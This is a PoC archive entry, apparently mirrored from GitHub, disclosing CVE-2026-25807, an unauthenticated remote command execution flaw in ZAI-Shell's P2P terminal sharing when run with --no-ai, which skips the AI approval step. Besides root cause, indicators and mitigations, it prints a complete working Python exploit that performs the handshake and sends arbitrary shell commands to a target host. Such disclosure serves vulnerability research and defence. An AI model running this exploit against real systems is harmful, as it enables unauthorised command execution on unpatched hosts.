PoC Archive PoC Archive
Critical CVE-2026-25807 unpatched

ZAI-Shell — Unauthenticated Remote Code Execution via P2P Terminal Sharing (CVE-2026-25807)

by ibrahmsql · 2026-07-05

Severity
Critical
CVE
CVE-2026-25807
Category
network
Affected product
ZAI-Shell (P2P terminal-sharing tool)
Affected versions
Versions with P2P sharing running in --no-ai mode (per GHSA-6pjj-r955-34rr)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-02
Author / Researcheribrahmsql
CVE / AdvisoryCVE-2026-25807
Categorynetwork
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagszai-shell, p2p, rce, unauthenticated, terminal-sharing, socket, no-ai-mode, remote-command-execution
RelatedN/A

Affected Target

FieldValue
Software / SystemZAI-Shell (P2P terminal-sharing tool)
Versions AffectedVersions with P2P sharing running in --no-ai mode (per GHSA-6pjj-r955-34rr)
Language / PlatformPython 3 (PoC); target is a cross-platform terminal-sharing daemon
Authentication RequiredNo
Network Access RequiredYes

Summary

ZAI-Shell exposes a peer-to-peer terminal-sharing feature that listens on a TCP socket and accepts a simple JSON-line protocol (hello / command messages). When the host starts a sharing session with --no-ai (no_ai_mode), commands received over this P2P channel are executed directly on the host without requiring the normal AI-mediated approval/sanitization step and without any authentication of the connecting peer. Any remote party able to reach the listening port can therefore submit arbitrary shell commands for execution. The PoC is a minimal Python socket client that connects, performs the hello handshake, and sends an attacker-supplied command string.


Vulnerability Details

Root Cause

The P2P command-execution path in ZAI-Shell lacks authentication/authorization and, when no_ai_mode is active, bypasses the AI-assisted command review/approval gate that would otherwise mediate execution — resulting in unauthenticated command execution on the host running the shared session.

Attack Vector

  1. Victim starts a P2P sharing session on ZAI-Shell with share start --no-ai, opening a listener (default port 5757).
  2. Attacker connects to the listening TCP port and sends a JSON hello handshake message.
  3. Attacker sends a JSON command message containing an arbitrary OS command.
  4. Because no_ai_mode is enabled, the host executes the command directly (or with reduced/no scrutiny), returning output over the same socket.

Impact

Unauthenticated remote code execution on any host running a ZAI-Shell P2P session in --no-ai mode.


Environment / Lab Setup

Target:   Host running ZAI-Shell with an active P2P session started via `share start --no-ai`
Attacker: Python 3 (standard library only — socket, json)

Proof of Concept

PoC Script

See CVE-2026-25807.py in this folder.

1
2
python3 CVE-2026-25807.py <target_ip> [port] [command]
python3 CVE-2026-25807.py 192.168.1.100 5757 'id; whoami; hostname'

The script opens a raw TCP socket to the target, performs the hello handshake expected by the P2P protocol, then sends a command JSON message; any response (command output or an approval prompt trigger) is printed to the console.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexplained shell command execution or new processes spawned by the ZAI-Shell process
  • Connections to the P2P listening port from IPs outside the expected sharing peer set
  • Sessions running with --no-ai / no_ai_mode enabled on internet-reachable hosts

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor GHSA-6pjj-r955-34rr for an upstream fix
Interim mitigationAvoid running P2P sharing sessions with --no-ai on networks reachable by untrusted peers; firewall the P2P port to trusted IPs only; require authentication/pairing before accepting commands

References


Notes

Mirrored from https://github.com/ibrahmsql/CVE-2026-25807-Exploit on 2026-07-05.

CVE-2026-25807.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
"""
ZAI-Shell P2P RCE PoC
Tests the P2P command execution vulnerability when no_ai_mode is enabled.

Usage:
1. Start ZAI-Shell on target with: share start --no-ai
2. Run this script: python3 zai_shell_poc.py <target_ip> [port]
"""

import socket
import json
import sys
import time

def exploit(target_ip, port=5757, command="id"):
    
    print(f"[*] Connecting to {target_ip}:{port}...")
    
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target_ip, port))
        
        # Send hello message
        hello = json.dumps({"type": "hello", "name": "Attacker"}) + "\n"
        sock.send(hello.encode())
        
        # Receive welcome
        time.sleep(1)
        response = sock.recv(4096).decode()
        print(f"[+] Connected! Response: {response[:200]}")
        
        # Send command
        print(f"[*] Sending command: {command}")
        cmd_msg = json.dumps({"type": "command", "command": command}) + "\n"
        sock.send(cmd_msg.encode())
        
        print("[*] Command sent. If no_ai_mode is enabled, it will execute on host.")
        print("[*] Check host terminal for approval prompt or direct execution.")
        
        # Wait for response
        time.sleep(3)
        try:
            result = sock.recv(4096).decode()
            if result:
                print(f"[+] Response: {result}")
        except:
            pass
            
        sock.close()
        return True
        
    except socket.timeout:
        print("[-] Connection timeout")
        return False
    except ConnectionRefusedError:
        print("[-] Connection refused - P2P session not started?")
        return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [port] [command]")
        print(f"Example: {sys.argv[0]} 192.168.1.100 5757 'id; whoami'")
        sys.exit(1)
    
    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 5757
    command = sys.argv[3] if len(sys.argv) > 3 else "id; whoami; hostname"
    
    exploit(target, port, command)